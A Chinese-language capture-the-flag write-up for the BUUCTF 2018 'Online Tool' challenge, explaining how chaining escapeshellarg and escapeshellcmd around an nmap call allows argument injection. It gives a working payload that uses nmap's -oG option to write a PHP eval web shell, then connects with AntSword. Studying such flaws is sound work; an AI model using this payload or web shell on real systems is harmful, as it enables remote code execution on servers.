BUUCTF-2018-Online-Tool

[BUUCTF 2018]Online Tool
1.题目:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
2.过程:

关于escapeshellarg和escapeshellcmd

escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数

功能 :escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号)

escapeshellcmd — shell 元字符转义

功能:escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec()system() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入: &#;`|\?~<>^()[]{}$, \x0A\xFF\。 \’* 和 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 %! 字符都会被空格代替。

好像因为环境问题?本地测试不是很对……参考dalao:谈谈escapeshellarg参数绕过和注入的问题

由于先使用escapeshellarg,再使用escapeshellcmd导致的命令执行漏洞

在线php测试成功了……:

image-20210309164414644

‘’ \ ‘’ A ‘\‘ ‘’ :这样显示,单引号都被闭合了,传入参数就可以成为命令执行

image-20210309165949036

单引号前后要加空格,防止格式改变或后缀改变

结合:利用/绕过 PHP escapeshellarg/escapeshellcmd函数

可知,需要利用预置的命令,拼接执行;这里关系到namp的命令

namp命令有保存扫描结果的命令:

Nmap输出格式

  • -oN (标准输出)
  • -oX (XML输出)
  • -oS (ScRipT KIdd|3 oUTpuT)
  • -oG (Grep输出)
  • -oA (输出至所有格式)
  • namp中文网#输出

在保存结果的同时,可以向文件中写入语句,这里写入一句话即可

1
?host=' <?php @eval($_POST["ok"]);?> -oG 1.php '

sandbox指明文件目录,antsword链接:

image-20210309170613645

获取flag

作者

inanb

发布于

2021-03-09

更新于

2021-08-23

许可协议


:D 一言句子获取中...